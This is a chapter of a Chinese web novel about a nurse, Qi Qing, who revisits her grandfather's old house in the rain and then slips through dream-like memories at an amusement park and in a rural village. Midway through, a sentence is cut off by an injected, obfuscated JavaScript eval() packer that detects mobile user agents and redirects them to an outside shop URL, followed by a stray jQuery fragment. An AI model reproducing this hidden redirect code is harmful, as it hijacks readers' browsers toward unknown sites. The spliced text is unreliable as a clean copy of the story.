齐晴将身上洁白的医护白褂抚平褶皱，指尖顺着衣缝线迹一点点叠得方方正正，放进放置间的储物柜中，合上柜门落锁的轻响在安静的休息室里格外清晰。
身侧林霖艺抱着自己的工作服，眉眼间满是按捺不住的好奇，凑上前压低声音问道：“刚齐医生特意找你，到底说什么事了？”
“她问我，要不要调任，去做虞清漄的专属护理人。”齐晴垂着眼整理袖口，语气平淡无波，听不出半分情绪。
林霖艺猛地瞪大双眼，脚步下意识往前挪了半步，满脸不可置信：“你、你怎么答复的？”
齐晴抬眸，眸光淡淡扫过神色激动的好友，眼底掠过一丝浅淡的疑惑：“拒绝了。”
“？？你居然拒绝了？”林霖艺瞬间怔住，下一秒狠狠攥紧手心，一脸扼腕捶胸的模样，恨不得替齐晴答应下来，“这可是千载难逢的好机会啊！能近距离接触虞清漄那位传闻里讳莫如深、身份神秘的大人物，多少人挤破头都抢不来！”
“你知不知道院内多少资深护士、骨干医生排队自荐，只求能靠近她半步，你就这么轻飘飘一句话，直接推掉了？！”
齐晴扣好储物柜柜门，金属柜面映出她清冷素净的侧脸，语气疏离淡然：“我不感兴趣。”
林霖艺后背轻靠冰凉的柜门，歪头凝着她疏离的眉眼，愈发好奇：“那你到底对什么感兴趣？工作、人脉、机遇全都不在乎？”
齐晴没有应声，沉默着将口袋里的工牌、笔具一一收纳进帆布包，动作沉静利落。收拾妥当后，她抬眸看向林霖，嗓音清浅：“我先走了，今晚不用给我留宿舍门。”
说罢，她拎着包转身离去，清瘦挺拔的背影融进走廊微凉的光影里。
林霖艺望着那道决绝淡漠的背影，站在原地沉思片刻，指尖快速点开手机屏幕，指尖翻飞编辑好一条短信，发送出去。随后她草草收拾完个人物品，快步跑出了休息室。
齐晴走出医院门诊大楼时，夕阳尚未彻底沉落天际，漫天流云层层叠叠、缓缓浮沉，暖橘色落日余晖尽数被厚重云层遮掩，天光昏沉压抑。
抬眼望去，整片天空泛着寡淡的灰白。
她踩着平缓的步伐离开医院院区，沿街走到街角一家文艺花店，轻声跟店主说了自己的需求。
片刻后，一束白瓣澄澈、花蕊温润的香水百合被浅米色包装纸裹好，递到齐晴手中。鼻尖萦绕着清冽淡雅的花香，她垂眸望着盛放的花枝，唇角勾起一抹极淡、转瞬即逝的柔和笑意。
晚风微凉，齐晴抱着花束缓步走在沿街步道上。褪去紧绷刻板的医护制服，换上简约素色休闲卫衣与长裤，周身清冷锐气褪去，眉眼温润柔和，看着反倒像个尚未离校的在校学生。
街边夜市摊贩尽数开张，小吃、饰品、杂货摊位挨挨挤挤围满路人，此起彼伏的吆喝声、顾客谈笑声从街头绵延至街尾，人间烟火喧闹滚烫。
手机听筒传来低沉磁性的男声，语气带着几分不耐：“喂？到哪了？”
齐晴单手举着手机，另一只手轻扶花枝，抬手招手拦下一辆出租车，语调平静：“刚出发。”
挂断通话，她俯身坐进后座，对司机沉声吩咐：“梧桐街170号。”
出租车平稳驶离路边，窗外街边楼宇、行人、烟火景致飞速向后倒退，光影交错恍惚，像极了仓促翻卷的人生过往走马灯。转瞬之间，豌豆大小的雨滴骤然从天坠落，啪嗒、啪嗒重重砸在车窗玻璃上，细密雨珠转瞬连成雨线，不过半分钟，漫天雨雾笼罩整座城市，天色彻底暗沉下来。
司机师傅立刻拨动雨刮器，雨刷左右快速摆动，刮去挡风玻璃上湍急水流。他望着窗外倾盆而下的暴雨，唏嘘着感慨：“今年天气怪得很，连着一周阴雨不断，这场雨势头这么猛，看样子一时半会儿根本停不了。”
话音落下，司机侧头看向后座安静的少女，贴心询问：“小姑娘，你随身带伞了吗？”
齐晴眸光凝着窗外朦胧雨幕，雨丝模糊了街道轮廓，她声音轻缓温润：“不用伞，会有人来接。”
“那还好那还好。”司机大叔放下心来，絮絮叨叨闲聊，“这雨下得太急，路边根本没法临时停车避雨，淋湿了最容易着凉……”
滂沱雨水疯狂冲刷着街道、老旧墙面与街边绿植，一遍遍涤荡着岁月沉淀、难以磨灭的斑驳痕迹，喧嚣雨声裹着晚风，填满车厢每一处缝隙。
车辆平稳抵达目的地，司机停下计价器，笑着转头：“到地方了，一共106.5元，给106就行。要不要我在路边等你一会儿？雨太大了，这里可不好打车哦。”
齐晴轻轻摇头，扫码付完车费，抱紧怀中百合推门下了车。
冰凉雨丝扑面而来，就在雨水即将打湿她肩头、顺着门缝往灌的瞬间，一把宽大的黑色雨伞骤然覆在她头顶，隔绝了漫天冷雨。
身侧男人身姿挺拔，两人并肩而立，一路沉默前行，唯有路边排水口水流淅淅沥沥，顺着沟渠蜿蜒流淌，碎雨砸在地面溅起细碎水花。
良久，男人率先打破死寂沉闷的氛围，深邃目光短暂落在齐晴清瘦苍白的侧脸上，随即不动声色移向远处雨雾，沉声开口：“最近过得怎么样？”
“还行。”齐晴淡淡回应。
男人眉头微蹙，语气染上几分沉郁不悦：“好就是好，不好就是不好，不必用模棱两可的话敷衍我。”
齐晴骤然停下脚步，微微仰头望向他深邃眼底，澄澈眼眸里没有半分波澜，直白开口：“不好。我过得很不好，非常不好。”
男人身形猛地一僵，怔怔望着她毫无情绪的双眼，喉结微动，语气骤然放缓，带着几分无措：“我不是这个意思……”
他沉沉叹了口气，雨声吞没大半叹息，嗓音疲惫又无奈：“你从小性子就这样，所有委屈苦楚全都打碎骨头往肚子里咽，执念太深，你该放下了。”
齐晴垂眸缄默，一言不发。晚风裹挟潮湿雨气掠过耳畔，将男人未尽的话语送进耳中，低沉又沉重：“不该放下的……”
男人面色骤然凝重，抬手收起黑伞，细密冷雨瞬间落在他发梢、肩头，顺着发丝不断滑落，浸透半边衣衫。齐晴眼睫轻颤，凝着睫间凝结的微凉雨雾，弯腰将怀中洁白百合郑重放在老旧木门门口，指尖一寸寸、轻轻摩挲墙面斑驳破败、锈迹斑驳的门牌，声音轻哑，裹着数年隐忍的思念：“我回来了，阿爷……”
“阿爷，我带齐晴回家了。”
身旁徐连云抬手推开斑驳木门，院内潮湿雨气裹挟尘土霉味随风四散，落进泥泞地面。
齐晴驻足门槛之外，没有抬脚迈入屋内，眸光静静凝着屋内陈设陈旧、布满灰尘蛛网的破败老宅，声音淡漠疏离：“我走了。”
徐连云快步追出门口，望着她的背影劝说：“老人家从来没有怪过你，都过去了，不进屋再看一眼吗？”
齐晴侧首淡淡看了他一眼，轻轻摇头。
徐连云了然叹气，他向来清楚齐晴执拗隐忍的性子，心事深埋心底，半句不肯外露，任谁劝说都无用。
他顿了顿，道出实情：“这片老城区过段时间就要整体拆迁，开发商已经敲定方案，以后这里就彻底没了，你确定不再多看一眼？”
齐晴前行的脚步骤然一顿，沉默两秒，语气平静无波：“没有意义了。”
她转身的时候，左手从外套口袋里抽出来。口袋边缘擦过她的手腕，带起衣袖往上滑了一小截——刚好露出那道旧疤。徐连云站在她身后，目光落在那道疤上，瞳孔微微缩了一下。那是一个很细微的反应，像看到了什么不该看到的东西。
齐晴没有回头。
徐连云张了张嘴，最终什么都没说。
那道疤在雨雾里只露了一瞬，就被衣袖重新遮住了。
徐连云瞬间哑然失语，只能静静看着那道清瘦背影，一步步融进浓稠灰白雨雾里，彻底消失不见。
齐晴独自走在空旷老旧街巷，漫天冷雨肆意砸落在脸颊、发丝，冰凉刺骨。她缓缓抬眼，任由雨水冲刷眼底，看着漫天雨雾从天穹倾覆而下，层层叠叠笼罩天地。
她缓缓抬起右手，冰凉雨水落入手心，慢慢汇聚成细小漩涡，指尖微微倾斜，掌心积水顺着指缝弧度缓缓坠落，碎在泥泞地面。
嘀嘀——
低沉轿车鸣笛声骤然响起，一辆黑色轿车平稳停在齐晴身侧，车轮碾过积水，水花恰好溅湿她半边裤腿。车窗缓缓降下，男人鼻梁架着一副细边金丝眼镜，眉眼温润含笑，正是叶墨书。他侧眸看向雨中少女，笑意温和打招呼：“需要搭顺风车吗，齐晴？”
齐晴垂眸看着湿漉漉的裤脚，刚要开口婉拒，就听见叶墨书语气温和却不容置喙，截断她的话语：“我的车溅湿了你，是我的失礼，送你一程当作赔罪，别拒绝我。”
齐晴沉默须臾，指尖微蜷，最终迟疑拉开车门，弯腰坐进温暖干燥的车厢内。
一条干净柔软的纯棉毛巾随即扔到她怀中，叶墨书唇角噙着浅淡笑意，语气温和：“擦擦身上雨水，全新干净的。”
他目视前方路况，余光漫不经心掠过少女擦拭雨水的指尖，状似随意开口：“你怎么会来这片老城区？我无意打探你的隐私，只是这里人烟稀少，又划入拆迁规划，基本没人过来，我很好奇你此行的缘由。”
叶墨书眼底藏着一层深不见底的晦暗，眸光深邃难测。齐晴擦拭水渍的指尖骤然僵硬，车厢内暖风徐徐，却瞬间陷入死寂，只剩车载空调出风口呼呼送风，填满密闭空间。
片刻后叶墨书轻笑一声，从容转移话题：“清雅疗养院所有人，奔赴此地都各有执念、各有目的，我很好奇，你是为何而来？”
“没有缘由。”齐晴扯下覆在发顶的毛巾，声音清冷，“多谢，前面路口放我下车即可。”
叶墨书眉眼笑意不变，温润嗓音落下一句话，瞬间让齐晴浑身血液冻结，背脊泛起刺骨寒意，直至推门下车，依旧心神震颤、久久无法平复。
“齐晴，我知道你是为了‘入梦’而来，你想重回梦境，再见你的家人，对不对？”
心底最深、从未对外人吐露半分的隐秘执念被一语戳破，齐晴浑身发冷，心底掀起惊涛骇浪。这件事她守了数年，从未告知任何人，叶墨书究竟从何得知？
一股被人彻底窥视、洞悉所有秘密的窒息感，瞬间席卷四肢百骸。
啪嗒。
室内开关轻响，漆黑空荡的房间骤然亮起暖白灯光，屋内空无一人，寂静无声。
原木餐桌上摊开一本厚书，紧闭的窗缝钻入晚风，像是被无形力量牵引，径直拂过书页，哗啦啦疯狂翻动纸页。
“齐晴？齐晴？”
清脆女声在耳边反复响起，林霖艺抬手在齐晴眼前轻轻晃动，小脸带着明显愠怒，眉眼满是不满：“说好陪我出来玩，你全程走神发呆，到底在想什么？”
齐晴茫然抬眸，脑海里老宅、暴雨、叶墨书、破碎回忆尽数褪去，眼神空洞恍惚，半晌没能回过神。视线缓缓聚焦，周遭喧闹人声、孩童嬉闹声扑面而来，大人牵着孩童擦肩而过，各色游乐设施人声鼎沸、游人络绎不绝，斑斓色彩映入眼帘——这里是城郊游乐园。
“我们明明说好一起来游乐园，排队排到一半你突然走神站在原地，一动不动，吓了我一大跳。”林霖艺皱着眉，满心委屈又生气，方才齐晴骤然失神，仿佛灵魂抽离，怎么唤都毫无反应。
她气鼓鼓地抬手，差点戳上齐晴额头，满心疑惑她方才到底发生了什么。
“对不起霖艺，我……”齐晴敛去眼底茫然，轻声致歉。
林霖艺摆手打断她的话，转头环视四周，看见旋转木马游乐区游人稀少，瞬间眉眼舒展，怒火消了大半，兴致勃勃拉过齐晴手腕：“算了算了不怪你了！我们去玩旋转木马吧，那边几乎不用排队！”
话音落下，她不由分说拽着齐晴快步走去排队。园区孩童虽多，旋转木马项目客流稀疏，队伍转瞬便排到两人。
“到我们啦，快进去！”林霖艺笑着拉齐晴走入场地，空位充裕，两人各自挑选了相邻两匹白色木马落座。
温柔梦幻的背景音乐缓缓响起，木马缓缓起伏旋转，一圈圈匀速转动。
晚风拂过耳畔，光影缓缓流转，齐晴望着眼前梦幻景致，心底骤然涌上一阵尖锐的空落与酸涩。很久很久以前，阿爷亲口许诺过她，等她长大，就带她来游乐园坐旋转木马。
可她猛然惊醒——她和林霖艺，从来没有一起来过游乐园。
齐晴侧头看向身侧笑意明媚的好友，语气带着不易察觉的紧绷与困惑：“霖艺，我们什么时候约好要来游乐园的？”
林霖艺不假思索，脱口而出：“前天啊，下班之后我们当面敲定的，你怎么转眼就忘了？”
她说完皱起眉头，上下打量齐晴脸色，抬手贴上她额头，又比对自己体温，眉头拧得更紧：“体温正常没发烧啊，你今天到底怎么回事？”
“这里不对劲。”齐晴抬手按住起身想要换位的林霖艺，眉头死死拧紧，眼底满是凝重不安，“我完全没有这段的记忆，我根本不记得我们约过游乐园。”
林霖艺毫不在意地挥挥手，笑得轻松恣意，拿起手机对准齐晴调整镜头，漫不经心安抚：“记不记得有什么关系，反正我们已经来了，开心玩就好啦。”
她眉眼弯弯，按下快门：“笑一个嘛齐晴。”
咔嚓——
快门声落下的刹那，周遭斑斓光影、喧闹人声、旋转木马尽数被无边黑暗瞬间吞噬。
再次睁眼，眼前已是记忆里古朴老旧、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685248|207787||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
青山环绕的乡间村落。
熟悉又陌生的青砖土路、矮旧土坯房一点点亮起昏黄灯火，这里，是阿爷曾经住过的老家。
画面流转，一名衣着朴素的妇人牵着瘦小幼童，穿过乡间土路，径直走到老宅门前。
扣扣扣。
三声轻叩木门，院内寂静无声，无人应答。
妇人面色染上焦躁不耐，抬手加重力道拍门，依旧没有半点动静。她垂眸看向身侧攥紧玩偶、怯生生的小女孩，语气纠结无奈：“以后，这里就是你的家了。”
幼童仰起苍白小脸，眼底蒙着水雾，软糯轻声询问：“阿姨，我的爸爸妈妈呢？”
妇人神色一滞，垂眸避开孩童澄澈目光，沉默良久，嗓音干涩敷衍：“他们去了很远很远的地方，等你乖乖听话，以后就能相见了。”
小小的齐晴怀里死死抱着一只边角破损、沾染淡淡暗红污渍的兔子玩偶，沉默良久，轻轻点了点头。
妇人耐着性子再度叩门，等待时间愈发漫长，院内始终寂静无声。
小齐晴轻轻拉扯妇人衣角，声音软糯乖巧：“阿姨，我在这里等阿爷阿奶回家就好，你先走吧。”
妇人满脸错愕，心底五味杂陈，最终点头俯身叮嘱：“你乖乖待在这里，他们很快就回来了。”
小齐晴松开攥着衣角的小手，用力点头，眼神执拗又坚定：“我会乖乖听话，好好等他们。”
妇人放心不下，反复叮嘱数句，才转身快步离开。她身后还有一堆后事需要处理，根本无法长久停留。
瘦小孩童孤零零蹲在老宅墙角，紧紧蜷缩身子，怀里死死抱紧破旧兔子玩偶，小声数数：“1，2，3……”
细软稚嫩的童声顺着晚风飘向山野，落在路边花草、参天林木间，消散在乡间晚风里。
白昼天光一寸寸被浓稠黑夜吞噬，唯有老宅门前一盏老旧灯泡，在夜风里晃晃悠悠，透出微弱昏黄光晕。
蹲坐许久的幼童浑身酸软麻木，脑袋一点一点，疲惫到极致。
“孩子，孩子你怎么一个人在这里？”
温和苍老的女声在耳畔响起，昏昏欲睡的小齐晴缓缓睁眼，眼前站着一对面容慈祥的老年夫妇。老奶奶轻轻弯腰，温柔摇晃着她瘦小的身子，满心心疼询问。
小齐晴揉着酸涩泛红的眼眶，声音含糊软糯：“我在这里，等阿爷阿奶回家。”
两位老人身躯齐齐一僵，神色骤然怔住。
老奶奶眼眶瞬间泛红，轻声追问：“孩子，你是谁家的娃娃？”
小齐晴抱紧怀里兔子玩偶，怯生生往后缩了缩身子，小声回答：“我叫齐晴。”
二老脸色骤变，老奶奶指尖颤抖，声音发颤：“是不是一位陌生阿姨，把你送到这里来的？”
小齐晴乖乖点头，嗓音软软：“我们等了好久，阿姨有事，先走了。”
老奶奶眼眶瞬间通红，满心自责懊恼，攥紧衣角哽咽：“是我们错了，接错路口、等错地方了，我的好孩子，让你受委屈、等这么久了……”
她抬手擦去眼角泪水，心疼抱起瘦弱孩童，转身走进屋内。
啪嗒。
屋内白炽灯亮起，驱散一室昏暗。
“饿坏了吧宝贝，快吃一碗热饺子。”
“团团圆圆，岁岁平安。”
现实里，齐晴静静站在老宅门口，望着屋内梦里温暖热闹的画面，逐一比对自身过往记忆，脑海里一片空白，没有分毫相关片段。
这段记忆不属于她，那究竟是谁的过往？
“齐晴……你想起来了吗？”
一道空灵缥缈、虚无恍惚的女声骤然在空气里响起，四下环顾，周遭空无一人，寻不到声源。
那道声音轻轻叹息，裹挟着无尽怅然：“你要快点想起来啊……”
“想起来什么？”齐晴沉声开口，眉眼凝重。
空灵声响彻底消散，如同虚幻幻觉，再无回音。
那道声音消散之前，齐晴感到左手腕的旧疤忽然凉了一下。不是疼，不是烫，是凉——像有一滴雨落在皮肤上，但她的手是干的。她低头去看，旧疤安安静静地躺在那里，颜色和平时一样。但她按上去的时候，指腹底下有一个极轻极轻的震动，像脉搏，又像别的什么。
猛地回神，齐晴骤然睁眼。
她正趴在自家原木餐桌旁，桌面摊开那本古籍书页被晚风肆意翻动，哗啦啦作响。窗外晚风裹挟冷雨灌入室内，打湿地板、餐边地毯，水渍蔓延一地。
齐晴立刻起身，快步走到窗边，拉紧窗扇扣紧锁扣，隔绝屋外风雨。
方才那场虚实交织、细节清晰无比的梦境历历在目，每一处画面、每一句对话、那道空灵女声，全都清晰镌刻在脑海里。
她垂眸蹙眉，心底满是困惑：到底要让我想起什么？
她反复对照梦里幼年孩童、年少过往，与自己残存的原生记忆反复比对，没有半点重合线索，迷雾重重。
齐晴缓步走到餐桌旁，拿起电量耗尽自动关机的手机。充电开机亮起屏幕瞬间，密密麻麻未接来电、积压短信弹窗疯狂弹出，大半都是林霖艺发来的消息。
她索性让手机多充会电，转身就去收拾被雨水打湿的地板、浸湿的布艺毯子，弯腰拖地、整理杂物，将潮湿凌乱的屋子彻底大扫除一遍。
等屋内收拾干爽整洁，手机彻底满电，墙上时钟已然指向深夜十一点五十分。
海量未读短信、未接来电不断刷新弹出，齐晴逐条浏览，逐一回复工作、亲友重要消息。
指尖刚放下手机，林霖艺的电话立刻拨了进来，铃声急促。
齐晴指尖顿住，按下接听键。
“齐晴！你干什么去了！消息不回电话不接，我差点报警找人，还以为你出事被人拐走了！”林霖艺焦急又委屈的声音瞬间炸开，语速急促。
“手机没电自动关机了。”齐晴语气平缓解释。
林霖艺小声嘟囔抱怨：“早知道我多给你备两个充电宝了……那你现在平安到家了吗？”
“到了。”齐晴沉默两秒，压下心底翻涌的疑虑，轻声发问，“霖艺，我们前段时间，真的去过游乐园吗？”
电话那头的林霖艺满是疑惑，脱口而出：“当然去过啊，就上周周末，你怎么彻底忘了？齐晴你今天真的太不对劲了。”
挂断电话之后，齐晴没有立刻放下手机。她坐在床边，低头看着左手腕那道旧疤。它安安静静地在那里，不疼不痒，颜色正常。但她伸手碰上去的时候，指腹底下什么都没有，只有指尖触碰带起的凉意。她把袖口放下来，盖住了那道疤。然后她躺下，关了灯。黑暗里，她听到外面传来极轻的声响，像书页被风翻动的声音。她没有起身去查看，只是翻了个身，把脸埋进枕头里。